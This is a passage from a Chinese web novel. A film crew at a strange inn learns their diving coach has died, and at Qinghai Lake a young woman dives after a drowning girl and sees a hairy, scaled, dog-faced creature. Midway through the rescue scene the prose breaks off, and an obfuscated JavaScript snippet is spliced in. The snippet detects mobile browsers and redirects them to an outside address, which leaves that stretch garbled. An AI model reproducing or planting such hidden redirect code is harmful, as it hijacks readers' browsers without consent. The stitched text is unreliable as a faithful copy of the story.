只见一簇簇暗灰色的细丝状物体在肉里游走,在伤口的断面上纷纷冒出头来,像是耀武扬威一般,左右摇摆,看起来异常诡异。 **** 吴沅他们是被吵醒的,大厅里不知怎么就忙起来了,不断有人从屏风后头出出进进,一个个行色匆匆,面色沉重,都不知道发生什么事了。 起子拦住了一个人想问问情况,结果一问一个不吱声,所有人对他们都三缄其口,什么都不肯说,这倒也是,这地儿的人有太多秘密了,怎么可能对他们外人说呢。 吴沅往外头看了看,天空已经露出了鱼肚白,天就快亮了。 “天就要亮了,咱们回房收拾一下,天亮了就赶紧回家!” 吴沅一声令下,众人都迫不及待往回廊方向走,准备回房收拾东西,然后赶紧跑路。 要说收拾,其实也没什么要收拾的东西,主要是一些拍摄设备和拍摄的素材很重要,至少这一趟没白来。最主要的还是要洗个澡,换身干净衣服,要不然几人这幅鬼样子,一个个破衣烂衫、臭气熏天的,就这么回去,半路可能就要被当成乞讨的了。 客栈诡异归诡异,服务倒是挺不错,各种换洗的衣服已经准备好了,放在了床上,小悦悦一进门,就抱着衣服冲进了卫生间,她独自住在里间,拥有一个独立的卫生间,可以放心洗,外头就一个卫生间,几个男的洗澡得排队。 马上就要回家了,老板的地位一下子就又重回了“巅峰”,大志和起子很知趣地让吴沅先洗,吴沅也不跟他们客气。 约莫半个小时后,吴沅终于洗完出来了,只见大志和起子两人半死不活地仰躺在沙发上,眼睛一眨不眨地盯着天花板,见他出来了,两人这才活过来,一个个眼巴巴望着他。 起子很是绝望:“头儿,你终于出来了,我们还以为你住里头了呢!” 说时迟那时快,大志趁着起子说话的空档,一个腾空而起就往卫生间冲,起子见状急了眼,也着急忙慌冲了过去,结果两人在卫生间门口冲撞在一起,就像两头蛮牛拼命想往门里挤,一时间进进不得,退退不得,还把吴沅撞了一个趔趄。 吴沅啧啧两声,闪到一边,皱起眉头:“抢什么啊?你们俩一起洗不就行了!” 两个人一起洗? 两人像是听到了什么大逆不道的话,眼珠子瞬间瞪得溜圆,一脸不可思议地同时看向吴沅,末了又相互嫌恶地打量了一下身材,嘴角向下几乎同时呕出来。 下一秒,起子板起脸孔提醒吴沅:“老板,我们是正常男人,请你谨言慎行!” 说完,继续投入战斗,起子占了身型苗条的优势,终于从门缝里挤进去,然后回身用力把大志搡了出去,顺势关上了卫生间的门,大志没办法,只能望门兴叹,黑着一张脸灰溜溜地回去继续窝在沙发里等。 这一等简直要等到了天荒地老,吴沅东西都收拾完,躺在沙发上休息了,起子还没出来。 大志无奈叹气:“他是在里面洗澡吗?还是在里面考古啊?真是服了!” 吴沅拿过手机看了一眼时间,已经七点了,外面天色已经大亮,得抓紧时间了,他冲着卫生间里的起子喊话催促:“起子,你快点!别磨磨蹭蹭了!” 卫生间里淅淅沥沥的水声不停,也不知道他听到没有,大志实在等不及,起身去敲门,起子在里头连声保证:“马上出来,马上出来!” 吴沅窝在沙发里,视线不自觉地看向窗外,黑沉的湖水拍打着湖岸,湖面水汽氤氲,视野之内朦朦胧胧,宛若置身梦境,他看着看着就有些恍惚了,那蓬勃升起的水汽像是神秘的纱帐,在那之后,似乎隐藏着什么,视线在层层叠叠的雾气中穿梭,绕来绕去也找不到出口,像迷了路。 也不知道过了多久,直到起子的声音在耳畔响起,吴沅一下子惊醒,他才意识到自己刚刚睡着了,他揉了揉眼睛,窗外的水汽淡了,天边现出了日出的光晕,太阳就要出来了,吴沅忙一骨碌从沙发里爬起来。 “怎么样,都洗完了吗?”吴沅问道。 “大志刚进去!” 吴沅点点头,又掏出手机看了看时间,已经七点半了,他刚刚竟然睡了半个小时,他甚至都不知道自己是怎么睡着的,可能是一晚上没睡,实在太累了。 “诶,对了头儿,咱们还有行李留在之前的别墅!得回去取!”起子突然想起来。 经过这一夜的惊吓,竟然差点忘记这一茬,他的电脑还放在那间别墅里呢!里头有不少重要的文件和素材,这可丢不得。 “嗯,走的时候绕过去取一下!” 又等了约莫半个小时,一群人终于收拾妥当,拉着行李出门,吴沅拿着摄影器材的包走在最前面,还没走几步,手机就响了,他以为是周游给他回电话了,赶忙掏出手机,一看来电显示是一个未知号码,吴沅满脸疑惑地接了电话。 “喂,哪位?” 听到对方的回答后,吴沅脸上渐渐露出惊异的神色,嘴巴微微张大,他几乎没怎么说话,一直在听对面说,听到后来脸色渐渐黑沉下来。 “好的,明白了。” 说完,就挂了电话。 小悦悦瞅出他脸色不对,赶忙问:“怎么了?是游哥的电话吗?他说什么?” 吴沅像是还蒙怔着,双眼无神地目视着前方,讷讷地说:“那个,我们可能暂时回不去了……” “什么??” 一听这话,其他人都瞬间炸毛了。 “教我们潜水的董教练死了,死在了抚仙湖里。 *** 24. 下水救人 青海湖边。 见有人呼救,餐厅里的人很热心,都一股脑儿地冲了出去,一群人着急忙慌,眨眼就奔到了湖边。 那个求救的女人趴在地上哭得上气不接下气,抖着声音,声嘶力竭地一遍遍喊:“我女儿,我女儿被拖到湖里了,求求你们,我女儿,我女儿被拖到湖里了,求求你们救救她!我女儿……” “报警!报警!快报警!” 人群里有人大喊,不少人都纷纷掏出了手机拨打报警电话。 早上的青海湖水温低,风浪大,人落水已经有一段时间了,湖面上已经没了人的踪迹,所有人都知道事态很严重,分分钟就要出人命,客栈位置有些偏,离镇上还有一段距离,警察赶过来需要时间,眼下正是争分夺秒的时候,需要快点入水搜索,说不定还有一线生机。 大家虽然热心,但都心知肚明,这样的水面状况就算是熟悉水性的人下去也不一定能成功上岸,再说了,青海湖面积辽阔,都不知道落水的人在哪儿,贸然下水无异于大海捞针,自寻死路,所以都不敢轻易出头下水救人。 当然这也是人之常情,毕竟不少出来玩都是拖家带口的,老老小小一大家子,原本开开心心出来玩,都不想承担丢性命的风险。大家都是普通人,萍水相逢,实在不至于豁出性命相救。 于是大家你看看我,我看看你,一时不知道该如何是好,眼见时间一分一秒过,几位胸中有热血的大哥作势就要往前冲,但都被身旁的家人按住了,用眼神示意他们不要冲动。 求救的女人眼神哀切地在人群中来回搜索,似乎是想找到能救她女儿的人,可没人敢对视,都下意识回避了视线,眼见最后一丝希望瞬间破碎,她终于支持不住,白眼一翻晕倒在地,几个女客人慌乱地把她扶起来,讨论着要把她扶到客栈的大厅里休息。 这时,在无人注意的角落里,一道纤长的身影一跃而下,噗通一声跳进水里,这一跳来得猝不及防,所有人都惊了,目光齐刷刷投向湖里,几秒过后,人们才回过神来,瞬间炸开了锅。 “谁,那是谁啊?” “怎么突然就跳下去了?” “是去救人的吧?” “这么勇?好像还是个姑娘!” 事发突然,二百八看着那道靓丽的身影不管不顾跳进湖里,眼珠子都快瞪出来了,片刻后突然惊觉,大喊出声:“呀,是冷晚晚!” 冷晚晚跳得实在太快了,别说二百八了,就连周游都没来得及反应,等他反应过来时,冷晚晚已经入了水,眼前的情况让他有些傻眼,他不知所措地看着湖面,心中实在讶异,这可是青海湖啊,她怎么说跳就跳了啊?她怎么敢的呀? 周游作为一个探险up主,虽然见惯了各种凶险的场面和极限冒险的人类,但这姑娘如此果敢勇猛,一点不带犹豫的,还是给他带来了不小的内心震动。 短暂的思维短路过后,他立马意识到冷晚晚如此贸然下水,可能会面临未知的风险。眼下的状况容不得他多想,于是二话不说脱掉鞋子就往岸边冲,二百八知道他是想下水,私心觉得很危险,不想让他冒险,于是赶忙去拦,结果没想到小夭竟然抢先一步,挡在了周游的面前。 只见她冷着一张脸,斜眼看周游,没好气地厉声说:“听好了,所有人都不准下水,等警察来!你们要是下水都相当于去送死!!” 这话警告意味浓郁,虽然听起来像是说给众人听的,但周游知道,这话就是专门说给他听的,他不理解,为什么不让他下去?冷晚晚不是一个人下去了吗?这个小夭像是并不担心? 他满脸疑惑地指着湖面,着急地说:“冷晚晚……她……” 小夭依旧冷冷的,不紧不慢地说:“我知道!” 这下,周游更是不解了,忙问:“冷晚晚下去了,你不担心吗?她很可能会出事啊,我下去还能有个照应!” 小夭歪嘴不屑地切了一声,接着说:“就你?可别下去碍事了大哥,在岸边待着就算帮忙了!” 一听这话,周游心里顿感不快,眉毛一拧:“你什么意思?瞧不起人?” 小夭没接话,白了他一眼就转过头去,露出一副懒得搭理他的表情,就那么直挺挺挡在周游面前,就是不让开。 周游也不想跟她废话,用力扒开她就往湖边冲,眼见局势控制不住了,小夭也发了狠,使出一招猴子上树,拽着他的胳膊就一溜烟攀上了他的背,再一招致命锁喉,死命勒住了他,周游始料不及,被勒得脸红脖子粗,又急又恼,扬手就去扯,可奈何小夭跟狗皮膏药似的,黏在身上怎么也扯不掉,气得周游额头青筋暴起,他狼狈地在原地转圈,前仰后合地折腾着想要把小夭甩下来。 二百八眼瞅着周游就要爆发了,为了避免局面一发不可收拾,赶紧上前劝说:“哎呀哎呀,这怎么还动上手了呢!哎呦,快松手松手,再不松手我哥们儿都要被勒死了!你这让他一世英名往哪儿放……再说了,好女不跟男斗……你别跟他一般见识……” 他说着就去拉小夭的胳膊,想要试着把两人分开,哪知小夭不管不顾,张口就咬。 “哎哎哎,你别咬我啊!你要咬就要咬他啊!咬他!咬他!哎哎哎,疼疼疼疼!” 二百八疼得吱哇乱叫,一张大脸瞬间皱成了苦瓜,他拼命抽回被小夭咬出牙印的胖手,末了一脸怨念地瞪向小夭,口中喃喃:“都说别咬我,别咬我!这才被狗咬,现在又被人咬,我这细皮嫩肉的,什么时候受过这种罪!!” 他越说越委屈,小心翼翼对着胖手吹了又吹,小夭不管他,死命勒着周游就是不松手,那股子狠劲儿,看得二百八都心慌,立马决定不管了,还是隔岸观火更适合他。 周游就要被小夭整疯了,眼巴巴等着二百八帮忙,结果这家伙双手一摊,耸了耸肩,一脸无辜地表示自己也无能为力,周游气急,冲着他吹胡子瞪眼,咬牙切齿地喊:“二百八,你大爷的!!” 在场的人原本还打算上前帮忙,一看那姑娘直接张嘴就咬,跟发怒的神兽似的,疼得二百八龇牙咧嘴,都吓得不敢轻易上前劝阻了,眼下湖里的情况更加紧急,岸上这俩厮打半天应该也闹不出人命,大家思来想去,最后都默契地选择在一旁当看客,一心二用,一会儿关注湖里的情况,一会儿又瞥一眼这俩的动向。 就在周游和小夭互不相让、争执不下时,央金和厨房的几个老阿妈急匆匆赶了过来,一个个都面露惊慌的神色,冲着人群大喊。 “怎么了?怎么了?这是怎么了?” 人群看看湖水,又扭头看看周游和小夭,有人指着他俩说:“这俩打起来了!” 央金瞥了一眼周游和小夭的滑稽样,无语地叹道:“这俩爱打就让他们去打吧!俗话说不打不相识嘛!” 她话音刚落,又有人补充道:“有个女的,她女儿掉到水里了!” 央金一听,魂都要吓飞了,急得直跺脚:“不是说了离湖边远一点远一点!怎么都不听呢!报警了没有!” “报了!” “刚刚有个姑娘跳下去救人了!” “什么?”央金以为自己听错了。 “刚刚有个姑娘跳下去救人了!”人群又重复了一遍。 央金这下听清了,一下子慌了神,说话都结巴了:“什么?谁……谁……谁下去了?” 听到问话,小夭突然松开了周游,从他身上跳下来,扽了扽衣服,无事发生一般快步走过去,拍了拍央金的肩膀:“没事,冷晚晚下去了!” 听到是冷晚晚下去了,央金顿时松了一口气,心中稍安,她毕竟知道冷晚晚半夜从青海湖里把小马救出来的事,知道她多少是熟悉水性的,而且夜晚的湖比白天凶险不少,夜里都能平安上来,白日里应该也不会出什么大问题。 “她下去前叮嘱我,让其他人都别下水!免得一个还没救上来,又要救另一个!碍事!”小夭说着又瞪了周游一眼。 央金听了狂点头:“对对对!” 说着,不停叮嘱围观的客人:“大家千万别贸然下水哈!太危险了!咱们等警察过来!” 周游一个顶天立地的汉子,莫名其妙被一个姑娘骑在身上整了一顿,心里实在不忿,主要是丢人,他歪着脑袋,按着被勒红的脖子,愤怒地看着小夭,气冲冲就要冲过去理论,结果下一秒就被二百八拉住了。 “你干什么?”周游怒吼一声,不解地看向二百八。 二百八陪着小心,凑到周游耳边低声劝说:“哥们儿,你先冷静会儿,这姑娘不好惹!还不知道有没有什么其他的手段了!再说了,冷晚晚还在水里呢,先别气了!主要,我也怕你接着丢人,俗话说得好,好男不跟女斗……” 二百八说着,示意周游往两边看看,这时众人齐刷刷地看过来,眼神复杂地看向他,他顿时被看得面红耳赤,尴尬的恨不得满地找牙。 他紧咬牙关低下头,一边不停地调整呼吸,一边安抚自己——算了算了!不跟她一般见识了!!冷晚晚还在水里,安不安全还不知道呢,这会儿跟小夭争执有什么意义?尽让人看笑话了,算了算了!既然不让下水,他倒是乐得清闲!不下就不下呗!更省事了! 口中低声喃喃的话语就像平复心绪的咒语,很快就让他冷静下来,他叉腰站在人群中,盯着眼前卷涌不停的湖面,狂浪的风带走了刚刚的燥热火气,却又搅动了平复不久的心绪,不安的念头又浮了上来,虽然他嘴里说着不管了,但心里终究是放心不下,那可是青海湖啊,一个姑娘贸然下水,这半天了也不见动静,警察也还没到!实在太危险了!他实在不能坐视不管,见死不救啊! 周游想了又想,最后终于忍不住,软下态度,用商量的语气跟央金说:“那个……冷晚晚一个人下去好一会儿了!太危险了!我下去看……” 他话还没说完,小夭就语气不善地开口:“你游泳潜水技术很好吗?别没事自己找死!还害了别人!我最后再警告你一次,老老实实待在岸上对谁都好!” 这话说得又冲又狠,周游被气得差点翻白眼,好一会儿说不出话来,他真是开了眼了,一个姑娘的嘴巴怎么能这么狠,这么毒啊?自己又不是要做什么坏事,是想要帮忙而已,你不领情就算了,为什么把话要说得这么难听! 周游咬住嘴唇,忍了又忍,火气在胸腔里打着璇儿地游走,脑子跟着发炸,他索性闭上眼睛,吐出好几口闷气,又开始喃喃念着刚刚的“降火咒语”,好一会儿才压制住差点脱口的脏话。 这一边,小夭知道周游是出于好心,但救人当前,又不想他掺和添乱,所以话就说得狠了,说完又觉得自己似乎确实有点过分了,于是又接着找补了一句。 “冷晚晚可是我们省的游泳冠军!你放一百个心吧!” 所谓游泳冠军,只是小夭着急时信口胡说的托词,不过真要比起赛来,以冷晚晚的天赋异禀也绝对不会差,所以她觉着自己其实也算不上撒谎。 “游泳冠军啊?那怪不得了!”人群听到这话,立马有了反应。 “是那个省的游泳冠军啊?有没有进过国家队啊?见过孙杨和汪顺吗?!” “哎哟,这个女孩子了不得啊!” “所以大家还是别添乱了,让专业的人做专业的事,咱们就在旁边等着救援。” 说完这话后,人群的视线又齐刷刷地看向周游,显然这句话意有所指,就是让他别再想着下水的事儿,别给人家添麻烦! 二百八揉搓着被咬的手背,凑过去撞撞周游,低声说:“听见没,人家是游泳冠军,你就别管了!” 周游无语地冷哼了一声,接着点点头:“行行行!我不管了,不管了!” 说完,烦躁地捋了捋凌乱的头发,闷在一边不再说话了,眼前的世界瞬间归于平静,他就那么静静地立在湖边,盯着起伏不定的湖面,期待着冷晚晚能带着另一个活着的生命平安归来。 时间一分一秒过,湖面除了翻滚的浪涌,却没什么人的踪影,大家都渐渐嗅到死亡的气息,开始躁动不安,低声交头接耳起来。 “怎么还没上来?这么久了,不会出事吧!” “警察怎么还不来?” “这不会一个没救上来,又搭上一个吧!” “诶,不是说了吗?人家可是游泳冠军!” “冠军又怎么样?青海湖多大啊,早上气温又低,浪又大,下到水里都不好说了!” “哎哟,都这么久了,就算神仙也难救了吧!” “啧啧啧,就这么一会儿,两个姑娘没了……” “可惜了!可惜了!” 就一会儿的功夫,众人已经从不确定到默认人已死,这种态度的转变和肃然的氛围也影响到了一旁的二百八和周游,两人心里越发焦躁不安。 “怎么还没出来啊?不会真出事儿了吧?”二百八皱着眉头,一脸不确定地看向周游。 周游焦躁地舔了舔嘴唇,拳头握了又握,两只脚踏来踏去根本站不住,伸长了脖子望着湖面,跟只狐獴似的,他实在说不清自己为什么这么担心?出于人道主义关怀?还是其他?他扯不清楚,但此刻他感觉自己的心和情绪正被什么东西牵引,一起搅进了翻涌的湖水中。 反观一旁的小夭,仍旧冷着脸一言不发,异常冷静,周游实在看不出她到底是胸有成竹,还是在强装镇定。 周游心中情绪激荡,再也忍不住了,往小夭身旁走了几步,低头沉着声音问:“冷晚晚真的没事?你能保证?” 小夭死死盯着湖面,听到周游的问话,连眼皮都没抬一下,末了从鼻腔深处扔出一个“嗯”,十分不耐烦。 既然如此,多说无益!周游长叹一口气,不再说话,只是默默盯着湖面,脊背绷成了一条直线。 就在人们几乎要放弃的时候,警察和消防到了。 警察了解了大致情况后,一个个面色凝重。 “最近青海湖里怎么老出事儿啊!”一个年轻警察低声嘀咕了一句。 “所以,你们抓紧在各个群里发通知,周边的民宿、客栈,还有牧民,都要尽量离湖边远一点,免得有危险。”一个看起来颇有些资历的老警察冲着几个年轻警察吩咐道。 “嗯,已经通知到位了,但是有些游客就是不听啊……我们有什么办法……难道还让我们……” 老警察听不得小辈的抱怨吐槽,一个眼神横过去,大家都悄默声闭嘴了。 “行了,话怎么那么多,赶紧跟消防的同志研究下过会儿的救援工作!” 这些话看似没什么内容,但被一旁的小夭和周游听了去,迅速抓住了重点,那就是青海湖最近老出事了!!只是到底是出了什么事儿呢? 小夭和周游不约而同地快步凑过去,想从警察的口中套出一些信息,几乎同时拽住那个看起来好说话的年轻警察。 小夭突然一改冰冷僵硬的表情,露出甜甜笑容,语气轻柔地问:“警察同志,能问一下青海湖最近出什么事儿了吗?我们来这边旅游的,怕出什么意外……” 年轻警察忙说:“你们客栈的老板娘没通知你们离湖边远一点吗?” 周游赶忙解释:“说了,说了,只是大家都不知道为什么……是发生什么事儿了吗?” 年轻警察叹了口气:“最近啊,接连有不少外地游客在湖边游玩的时候被湖里的不明生物攻击,都受了伤……” 话音还未落,老警察在不远处叫了年轻警察一声,年轻警察赶忙应声,快步往那边走,走了两步,还不忘回头提醒两人。 “你们提醒一下大家,尽量离湖边远一点,太危险了!!” 小夭和周游赶忙应道:“诶,诶,好嘞!” 警察和消防的救援部署很快,一眨眼各方人员已经准备就绪,穿戴好各种救援装备,抬着冲锋舟纷纷下水,开始了湖面的搜救工作。 无人机、冲锋舟上下配合,同步开展搜寻工作,几艘冲锋舟眼见着离岸边越来越远,岸边的人群突然开始骚动起来。 有视力好的客人指着湖面一处,惊呼出声:“那儿,是不是有人?” 众人一听,同时望向那一处,只见湖面忽地冒出一个人头来,随着湖面起伏一漾一漾的。 “呀呀呀,是个人!” 一说湖面上有人,大家都眯着眼睛,拼命看向那一处。 “好像是那个下水救人的姑娘!” “好像只有一个人,人应该是没救上来。” “哎哟,人没事就好,这种地方要救人太难了!” “是啊,真是不容易啊!在水里都快待了半个小时了吧!” “是啊!” 人群一下子振奋起来,不少人冲着湖面那一处不断招手,希望湖里的人快点上岸来。 小夭对冷晚晚再熟悉不过,就是化成灰她也认得出,更何况是在水里,就算看不出面目身型,通过各种划水姿态也能认个八九不离十,她只稍稍看了那么一眼,心中的石头便落了地,水面那人就是冷晚晚无疑。 一旁的几个老阿妈眼睛不好,什么也看不清,央金也没看出什么名堂,于是都急切地向小夭询问:“那人是晚晚吗?是晚晚吗?” 在得到肯定的答复后,几个人终于长舒一口气,激动地双手合十拜天拜地,拜了一会儿,央金像是突然想起了什么,一拍脑瓜子,忙不迭地向客栈奔去。 相比之下,周游视力虽然不错,但冷晚晚尚在远处,又有水流浪花遮掩,根本无法分辨到底是谁,刚开始心还悬着,觉得不能盲目乐观,但听见小夭跟老阿妈的对话,又见她神色有变,紧绷着的的脸渐渐松弛下来,便知道这人应该就是冷晚晚了。 “太好了,太好了!谢天谢地!”他心中一阵喜悦激动。 二百八似乎不相信那人是冷晚晚,手搭在眼睛上方遮阴,盯着那一处看了好一会儿,结果啥也没看清,有些不相信地扭头问周游:“真是冷晚晚吗?我咋啥也看不见啊!” 周游斜了他一眼,骂道:“因为你瞎啊!” 二百八:“……” 留在岸边的警察,听到大家的议论,问道:“是刚刚跳水救人的姑娘?确定吗?” “应该是她吧,刚刚跟她一起的姑娘不也说是她嘛,应该没错吧!” 原本还是信誓旦旦的人群,突然听到警察发问,一下子也不敢把话说得太死了,只能用询问的目光看向小夭。 小夭见状,接过话头,肯定地回答:“对,就是她,就是刚刚下水救人的姑娘!我的姐妹冷晚晚!” 在说出冷晚晚的名字时,小夭脸上露出骄傲的神色。 刚说完,警察手里的对讲机就传出呲啦呲啦的风声,紧接着传来断断续续的人声:“我们……在湖面上发现……一个人,现在还不确定……对方的身份信息……我们正在靠近……” 警察赶忙回复对讲机那头:“应该是刚刚下水救人的姑娘,叫……叫什么来着?” 警察说着赶忙扭头发问。 众人齐齐扭头看向小夭。 “冷晚晚!”小夭一字一顿,很是郑重地说出冷晚晚的名字,一脸骄傲。 警察连连点头,对着对讲机那头接着说:“对对对!那姑娘叫冷晚晚!刚刚下水救人的姑娘!你们赶紧看看人有没有受伤,需不需要救治!” 对讲机那头很快回复:“好的,收到!” 冲锋舟离冷晚晚还有四五米的样子,警察和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319326|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消防正准备靠近救援,那想到冷晚晚速度极快,还没靠近呢,她一个加速冲刺,嗖嗖嗖就往岸边去了。 刚刚跑回客栈的央金,这会儿抱着一摞浴巾,又急匆匆奔回岸边,焦急地等着冷晚晚上岸。 几分钟后,冷晚晚已经清晰地出现在众人的视线里,风大浪急,冷晚晚几乎是被浪推上岸的,她看起来累极了,跪伏在水边大口大口喘着粗气,脸色苍白如纸,一头乌发像水草一样贴在头皮和脸颊上,身上的衣服也湿漉漉地贴在身上,现出她窈窕纤长的身形,她手里似乎还攥着一个东西,被她的衣摆遮住,看不真切。 人群顿时一窝蜂围了过去,周游和小夭反应最快,跑在人群最前头,他们俩暗暗较劲,竞赛一般疯跑到冷晚晚身边,周游抢先一步,拦腰将冷晚晚从水里捞起来,快走几步把她轻轻放到了岸边。 小夭紧随其后,从央金怀里拽了一条浴巾披在冷晚晚身上,顺势扶住了她,见她浑身颤抖,觉得十分不对劲,冷晚晚经常下水,几时这样过?是不是在水下受了伤?想到这里,心里一惊,周游也看出了冷晚晚的状态不对,心里也是一紧,两人几乎异口同声问道:“你没事吧?有没有受伤?” 猝不及防的同时发问,让小夭忍不住翻了白眼,她莫名有些讨厌这个才见过几面的男人对冷晚晚表现出格外的关心,他以为他是谁啊? 冷晚晚没说话,使劲抬起头来摇了摇,水珠顺着面颊、鼻尖缓缓滑落,描摹出清丽的轮廓,她双眼无神地四处看了看,嘴里低声念叨着:“小夭,小夭!” “你说什么?” 周游没听清,低头侧耳去听,这才注意到她手里还攥着一只红色的运动鞋,周游伸手去接,结果冷晚晚攥得紧紧的,怎么也不愿意松手,周游只能作罢随她去了。 慢了一步的二百八也有样学样,拿了一条浴巾拼命挤进人群,原本想帮冷晚晚披上,结果人群挤来挤去,一下子没把握好角度和方向,浴巾直接飞出去盖在了冷晚晚头上,瞬间遮住了大半张脸,浴巾宽大厚实直压得冷晚晚往前一个踉跄。 小夭见状,恶狠狠回头瞪了二百八一眼,厉声质问:“你干什么?!” 二百八瑟缩了一下,说话立马结巴了:“我……我……我给她擦擦水!” 周游一边帮冷晚晚揭开盖头的浴巾,一边还在回想冷晚晚刚刚口齿含混的话,又低头轻声问了一遍:“你说什么?” “小……夭……小夭……” 虽然声音微弱,但这下所有人都听清了,她是在叫小夭的名字。 小夭立刻摆出一副胜利者的姿态,紧搂住冷晚晚,得意地说:“她是在叫我!!” 她说着,将冷晚晚一条胳膊架在自己肩头,又从冷晚晚背后探出一只手,使劲拍打在另一侧搀扶的周游,脸上现出嫌弃的神色:“行了,行了,这里有我就行了!你放手!放手!” 像是生怕他会占了冷晚晚的便宜,周游气极反笑,心想着行行行,这祖宗说啥是啥,我惹不起行了吧!想着赶忙松开了手。 已经被挤到人群外沿的警察急得满头大汗,忙垫着脚尖冲着人群喊话:“人家浑身都湿透了,先让人家回去换身衣服,休息一下,再去客栈大厅做个详细的笔录,大家不要围着了,给人家让出一条道来。” 警察说完,人群自动让出一条通道,小夭架着冷晚晚往客栈走,周游和二百八默默跟在身后,没走几步,小夭越发觉得冷晚晚的状态不对劲,她的身子抖得厉害,腿似乎一点力也没有,身体的大部分重量都压在了小夭身上,整个人像是丢了魂,眼神木木的,没有焦点,小夭越想心里越慌,下意识加快了脚步。 三五成群的吃瓜群众一路跟到客栈大厅门口,警察再三劝说,这才悻悻散去。 周游和二百八自述是冷晚晚和小夭的朋友,才得以跟着进了大厅,刚一进门,就看到先前呼救的妇人直挺挺躺在大厅的沙发上,旁边还站着两个热心的阿姨帮忙照看着。 她们一眼就认出这个浑身湿漉漉,脸色苍白的姑娘,就是刚刚下湖救人的姑娘,立马快步走过来,一脸关切地问冷晚晚:“姑娘,你没事吧?” 小夭和冷晚晚不得不停下来,冷晚晚状态很差,小夭心里着急,忙帮着回答:“没事!没事!” 她敷衍着说完,就准备带着冷晚晚赶紧回房间。 但这俩阿姨一点没有要结束的意思,两个人兴高采烈冲着冷晚晚举起大拇指:“姑娘,你可真棒!真勇敢!阿姨要给你点个赞!” 见冷晚晚没什么反应,脸上没有一点血色,一个阿姨觉出了不对,忙说:“哟,姑娘脸色怎么这么差啊,要不要在这儿歇一会儿?” 说着,就指了指身后的沙发。 小夭连连摇头,笑着拒绝:“啊不用不用,我带她回房间洗个热水澡,休息一下就好了!” 一听这么说,两个大妈这才惊觉自己似乎耽误了别人的事儿,忙说:“是是是,这姑娘肯定冻坏了,这小脸煞白的!赶紧回房间洗洗,换身衣服!” 说完,赶忙催促着两人回房,小夭架着冷晚晚刚准备走,冷晚晚却定住不动了,小夭拉了拉她,她还是站着不动,小夭有点摸不着头脑,轻声问:“怎么了?” 冷晚晚这才抬眼看了看躺在沙发上的妇人,把手里的运动鞋朝着两个热心阿姨递了出去。 “这是……那个姑娘的鞋子。” 意思是希望她们代为转交,两个热心阿姨立刻心领神会,赶忙接过鞋子,点点头,小夭这才扶着冷晚晚回了房。 一进门,小夭就跑进浴室,先把水温调热,又把干净的浴巾和换洗的衣服准备好,这才招呼着冷晚晚进去,可冷晚晚还跟魂魄游离在外似的,整个人呆愣愣的杵在屋里,小夭没办法,只能拉着她的胳膊一道进了浴室,像个老妈子一样事无巨细的交代。 “热水给你放好了,浴巾和衣服都在这里,如果有什么事儿就喊我,我就在外面昂……” 冷晚晚的表现太异常了,小夭知道她肯定在水下遇到事儿了,但冷晚晚没主动说,小夭也就没问,想着先让她自己消化消化,如果实在消化不了了,她肯定会主动说的,到时候再了解详细情况也不迟。 交代完,小夭从浴室出来,想来想去还是不放心,死盯着浴室的门,一刻都不敢放松,直到浴室里响起哗啦哗啦的水声,她才稍微松了一口气,走到沙发边一屁股坐下,随手打开电视,里头男男女女的笑声传出来,才让屋子里恢复了一点轻松的气息。 小夭仰躺在沙发上,脑袋搁在沙发背上,眯着眼睛盯着窗外,外头太阳光很烈,明晃晃地照在大地上,湖面波光粼粼,忙碌的救援仍在继续,围观的人群还没完全散去,三三两两的聚在一起,应该是警察劝说教育了一番,人群离湖边远了些,大家似乎都还在期待奇迹的发生,但这么长时间了,那落水的姑娘多半没了生还的可能,想到这里,小夭深深地叹了口气。 也不知道过了多久,小夭突然惊觉冷晚晚还没从浴室出来,而且浴室里哗哗的水声一直没停,不对劲!实在不对劲!! 她赶忙跑过去敲门:“冷晚晚,你没事儿吧?昂?你说话啊?” 小夭一连问了好几遍,又赶忙趴在浴室门上听动静,浴室除了哗啦哗啦的水声外,没有任何应答,小夭心里慌慌的,一瞬间脑子里产生了各种不好的联想,越想越胆寒,于是焦急地冲着里面喊:“你可别吓我!再不出声,我就冲进去了啊?” 说完,就侧着身子去撞浴室的门,咚一下,两下,撞第三下的时候,浴室门突然打开了,小夭猝不及防,一头扎进了浴室,跟冷晚晚撞了个满怀,小夭揉着被撞疼的胳膊,四下里看了看,等搞清楚眼前的状况时,心里咯噔一下。 浴室里水汽缭绕,淋浴喷头不停往外喷着水,冷晚晚还穿着入水时的衣服,从头到脚湿漉漉的,衣服紧贴在身上,跟刚从水里刚捞上来似的,小脸煞白煞白的,也就是说,冷晚晚在浴室待了那么长时间,就光站在喷头下淋水来着。 小夭心里一沉,赶忙过去先关了水,又拿了条干浴巾裹在冷晚晚身上,看着她魂不守舍的样子,小夭意识到了问题的严重性。 “你到底怎么了?” 小夭一脸担忧地看着冷晚晚,一边问她,一边用浴巾轻轻地擦她脸上滚落的水珠。 “我明明可以救她的……”冷晚晚口中喃喃,眼神哀切无助。 小夭愣了一会儿,才意识到冷晚晚口中的“她”,应该就是那个落水的姑娘,小夭知道她没把人救上来,心里不好受,于是想尽量宽慰宽慰她。 “这也是没办法,你又不是神,这可是青海湖,能救下固然好,但没救上来也不是你的问题,别太自责了……这不还有警察和消防呢,说不定一会儿就救上来了……” 不过她越说越没底气,说到后来渐渐没声了。 冷晚晚扯了扯嘴角,苦笑:“你觉得可能吗?这么久了,她还能有救吗?原本我能救她上来的……我……我都抓住她的腿了,可是……可是……” 冷晚晚说着说着突然情绪激动起来,眼中显出恐怖的神色。 “可是什么?”小夭不解地追问。 冷晚晚咽了咽口水,接着说:“在水下我看到一个怪东西……” 小夭眉头微皱,有些难以想象:“怪东西?有多怪?” “那怪东西拽着姑娘往水底游,我拼命去追,后来抓住了那姑娘的腿,可是那东西力气极大,它猛得往前游,我根本拉不住,我跟了一段,它突然回头……我看到它浑身长满了长毛,长毛之下覆盖密密麻麻的鳞片,它脑袋跟人一般大小,五官和形态却有点像面目凶悍的狗,冲着我露出獠牙……” **** 25. 晓川 